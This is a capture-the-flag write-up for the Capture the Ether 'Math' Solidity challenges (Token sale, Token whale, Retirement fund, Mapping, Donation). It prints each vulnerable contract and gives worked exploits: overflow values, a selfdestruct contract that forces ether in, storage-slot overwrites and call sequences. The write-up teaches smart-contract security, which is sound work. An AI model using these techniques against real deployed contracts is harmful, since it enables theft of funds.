# Math

## Token sale

### Writeup

```solidity
pragma solidity ^0.4.21;

contract TokenSaleChallenge {
    mapping(address => uint256) public balanceOf;
    uint256 constant PRICE_PER_TOKEN = 1 ether;

    function TokenSaleChallenge(address _player) public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance < 1 ether;
    }

    function buy(uint256 numTokens) public payable {
        require(msg.value == numTokens * PRICE_PER_TOKEN);

        balanceOf[msg.sender] += numTokens;
    }

    function sell(uint256 numTokens) public {
        require(balanceOf[msg.sender] >= numTokens);

        balanceOf[msg.sender] -= numTokens;
        msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
    }
}
```

The constant `PRICE_PER_TOKEN` is 1 ether, which is represented by `10**18` wei in Solidity. This is a really large number.

In the function `buy()`:

<figure><img src="https://223316867-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWVtlSxURaW2QQu6RU5%2Fuploads%2FT590VtLJhFyyDCHBDsBN%2FToken%20sale%20buy.png?alt=media&#x26;token=32fac5ae-fd42-4cdd-b9a4-4c8340f22b81" alt=""><figcaption><p>buy() overflow</p></figcaption></figure>

We know that **integer overflow/underflow** is a thing for old versions prior to Solidity 0.8. Since `PRICE_PER_TOKEN` is huge and we have control over `numTokens`, we can pick a suitable `numTokens` and make `numTokens * PRICE_PER_TOKEN` overflow.

How large `numTokens` is supposed to be? Let's do the math:

```solidity
// INT_MAX = 2**256 - 1 = 115792089237316195423570985008687907853269984665640564039457584007913129639935
// numTokens will multiply with 10**18, so take out the last 18 digits: 115792089237316195423570985008687907853269984665640564039457
// To overflow this thing after multiplication, add 1: 115792089237316195423570985008687907853269984665640564039458
// After multiplication, the product is 115792089237316195423570985008687907853269984665640564039458000000000000000000
// After overflow this becomes 415992086870360064, which is msg.value
// This value is slightly less than 0.5 ether and it is suitable to solve this challenge
```

### Solution

1. Copy and paste the challenge contract into Remix and interact with it via "At Address".
2. Call `buy(115792089237316195423570985008687907853269984665640564039458)` and send 415992086870360064 wei as `msg.value`.
3. Call `sell(1)`.
4. Call `isComplete()` to verify if the challenge was successfully solved.

## Token whale

### Writeup

```solidity
pragma solidity ^0.4.21;

contract TokenWhaleChallenge {
    address player;

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    string public name = "Simple ERC20 Token";
    string public symbol = "SET";
    uint8 public decimals = 18;

    function TokenWhaleChallenge(address _player) public {
        player = _player;
        totalSupply = 1000;
        balanceOf[player] = 1000;
    }

    function isComplete() public view returns (bool) {
        return balanceOf[player] >= 1000000;
    }

    event Transfer(address indexed from, address indexed to, uint256 value);

    function _transfer(address to, uint256 value) internal {
        balanceOf[msg.sender] -= value;
        balanceOf[to] += value;

        emit Transfer(msg.sender, to, value);
    }

    function transfer(address to, uint256 value) public {
        require(balanceOf[msg.sender] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);

        _transfer(to, value);
    }

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function approve(address spender, uint256 value) public {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
    }

    function transferFrom(address from, address to, uint256 value) public {
        require(balanceOf[from] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);
        require(allowance[from][msg.sender] >= value);

        allowance[from][msg.sender] -= value;
        _transfer(to, value);
    }
}
```

The `transferFrom(from, to, value)` function calls `_transfer(to, value)`:

```solidity
function _transfer(address to, uint256 value) internal {
	balanceOf[msg.sender] -= value;
	balanceOf[to] += value;

	emit Transfer(msg.sender, to, value);
}
```

This implementation is wrong. In fact, it deducts balance from `msg.sender` instead of `from`. Moreover, `balanceOf[msg.sender] -= value` has **underflow** problem.

## Solution

Here is the attack plan:

* Initially we have `balanceOf[player] = 1000`.
* Create a proxy account in Metamask, call it `backup`.
* `player` calls `transfer(backup, 510)`. Here "510" can be any number greater than 500. If we transfer 510 tokens to `backup`, we now have 490 in `player` and 510 in `backup`.
* `backup` calls `approve(player, 500)`. This sets the allowance and prepares for `transferFrom()`.
* `player` calls `transferFrom(backup, backup, 500)`. In this step, `_transfer(backup, 500)` is being called. Since `_transfer()` deducts balance from `msg.sender` instead of `from`, the `player`'s account will be deducted 500. Recall that `player`'s balance is 490 at this moment, so `balanceOf[msg.sender]` is going to underflow to a huge number. That is, the `player` account has a huge balance now.
* Call `isComplete()` to verify if the challenge was successfully solved.

## Retirement fund

### Code Audit

```solidity
pragma solidity ^0.4.21;

contract RetirementFundChallenge {
    uint256 startBalance;
    address owner = msg.sender;
    address beneficiary;
    uint256 expiration = now + 10 years;

    function RetirementFundChallenge(address player) public payable {
        require(msg.value == 1 ether);

        beneficiary = player;
        startBalance = msg.value;
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function withdraw() public {
        require(msg.sender == owner);

        if (now < expiration) {
            // early withdrawal incurs a 10% penalty
            msg.sender.transfer(address(this).balance * 9 / 10);
        } else {
            msg.sender.transfer(address(this).balance);
        }
    }

    function collectPenalty() public {
        require(msg.sender == beneficiary);

        uint256 withdrawn = startBalance - address(this).balance;

        // an early withdrawal occurred
        require(withdrawn > 0);

        // penalty is what's left
        msg.sender.transfer(address(this).balance);
    }
}
```

The `collectPenalty()` function has **underflow** problem:

<figure><img src="https://223316867-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWVtlSxURaW2QQu6RU5%2Fuploads%2FiTZHRZCSRlpmwW0OaHij%2FRetirement%20fund%20collectPenalty%20underflow.png?alt=media&#x26;token=30d2ad1b-f49a-4275-a61e-1ed9e7eaacc1" alt=""><figcaption><p>collectPenalty() underflow</p></figcaption></figure>

Here `startBalance` is 1 ether, and the developer assumed that `address(this).balance <= 1`. This assumption is clearly false since an attacker can call `selfdestruct()` in a proxy contract to **forcefully send ether** to the challenge contract. This will make `address(this).balance > startBalance`, so `startBalance - address(this).balance < 0` and it causes underflow. `withdrawn` will be a huge positive number.

### Solution

Write a selfdestruct contract and deploy it with `msg.value == 1 wei`:

```solidity
pragma solidity ^0.4.21;

interface IRetirementFundChallenge {
    function collectPenalty() external;
    function isComplete() external view returns (bool);
}

contract SelfDestruct {
    function SelfDestruct(address _challenge) public payable {
        require(msg.value == 1);
        selfdestruct(_challenge);
    }
}
```

After that, copy and paste the challenge contract into Remix and interact with it via "At Address". Call `collectPenalty()`. This step must be done manually since `collectPenalty()` checks `require(msg.sender == beneficiary)` and we have `beneficiary = player` in the constructor. Call `isComplete()` to verify that the challenge was solved successfully.

## Mapping

### Code Audit

```solidity
pragma solidity ^0.4.21;

contract MappingChallenge {
    bool public isComplete;
    uint256[] map;

    function set(uint256 key, uint256 value) public {
        // Expand dynamic array as needed
        if (map.length <= key) {
            map.length = key + 1;
        }

        map[key] = value;
    }

    function get(uint256 key) public view returns (uint256) {
        return map[key];
    }
}
```

`uint256[] map` is a dynamic array stored in storage:

> In the case of a dynamic array, the reserved slot p contains the length of the array as a uint256, and the array data itself is located sequentially at the address keccak256(p).

Read more about storage:

{% embed url="<https://programtheblockchain.com/posts/2018/03/09/understanding-ethereum-smart-contract-storage/>" %}
Understanding Ethereum Smart Contract Storage
{% endembed %}

In our case, the storage layout is:

```solidity
slot 0: isComplete
slot 1: map.length
// ...
slot keccak(1): map[0]
slot keccak(1) + 1: map[1]
slot keccak(1) + 2: map[2]
slot keccak(1) + 3: map[3]
slot keccak(1) + 4: map[4]
// ...
```

Recall that the max storage slot is `2**256 - 1` and the next slot after that is just slot 0 because of the overflow.

### Solution

Let's do a bit of math:

* `map[0]` is at slot `keccak(1)`.
* Max storage is at slot `2**256`.
* We need to overwrite slot `2**256 - keccak(1)`, which is just slot 0.
* `keccak(1) == 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6`
* `2**256 - 1 == 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff`
* `2**256 - keccak(1) = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff - 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6 + 1`

Compuet `2**256 - keccak(1)` in Python:

```python
>>> 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff - 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6 + 1

35707666377435648211887908874984608119992236509074197713628505308453184860938
```

Call `set(35707666377435648211887908874984608119992236509074197713628505308453184860938,1)` to overwrite `isComplete`.

## Donation

### Code Audit

```solidity
pragma solidity ^0.4.21;

contract DonationChallenge {
    struct Donation {
        uint256 timestamp;
        uint256 etherAmount;
    }
    Donation[] public donations;

    address public owner;

    function DonationChallenge() public payable {
        require(msg.value == 1 ether);
        
        owner = msg.sender;
    }
    
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function donate(uint256 etherAmount) public payable {
        // amount is in ether, but msg.value is in wei
        uint256 scale = 10**18 * 1 ether;
        require(msg.value == etherAmount / scale);

        Donation donation;
        donation.timestamp = now;
        donation.etherAmount = etherAmount;

        donations.push(donation);
    }

    function withdraw() public {
        require(msg.sender == owner);
        
        msg.sender.transfer(address(this).balance);
    }
}
```

Note that when the struct `donation` is declared, its location is not defined (`memory` or `storage`). In this case, Solidity picks `storage` by default. Since `donation` is uninitialized, it will be pointing to slot 0 and slot 2 (this struct has two entries, each entry is 32-byte long). Specifically, `donation.timestamp` points to slot 0 and `donation.etherAmount` points to slot 1.

Learn more about storage:

{% embed url="<https://programtheblockchain.com/posts/2018/03/09/understanding-ethereum-smart-contract-storage/>" %}
Understanding Ethereum Smart Contract Storage
{% endembed %}

### Solution

Let's anaylze the storage of this contract:

* **slot 0:** since `Donation[] public donations` is a dynamic array, its length is stored in this slot.
* **slot 1:** `address public owner` is stored here.

When the following code snippet is executed:

```solidity
Donation donation;
donation.timestamp = now;
donation.etherAmount = etherAmount;
```

Since `donation` is uninitialized, `donation.timestamp` overwrites slot 0 and `donation.etherAmount` overwrites slot 1. That is, we can overwrite `owner` with `donation.etherAmount`.

Now our task is choosing a suitable `donation.etherAmount`. This value is uint256, but we want it to represent an address. Note that there is another bug in the `donate()` function:

<figure><img src="https://223316867-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWVtlSxURaW2QQu6RU5%2Fuploads%2FSciFnuvlOD7zlAlolIg9%2FDonation%20donate.png?alt=media&#x26;token=3c9ea04f-317b-4701-9ba5-5fecf538041c" alt=""><figcaption><p>donate()</p></figcaption></figure>

Since `ether` is just an alias of `10**18`, this code is equivalent to:

```solidity
uint256 scale = 10**18 * 1 * 10**18;
require(msg.value == etherAmount / (10**18 * 1 * 10**18))
```

In this way, `msg.value` will be a small number, definitely less than 1 ether. Here you can convert your Metamask wallet address to uint256, compute `msg.value == <converted_address> / 10**36` and call `donate(<converted_address>)` together with the `msg.value` you just computed. Once `owner` is overwritten, call `withdraw()`.

## Fifty years
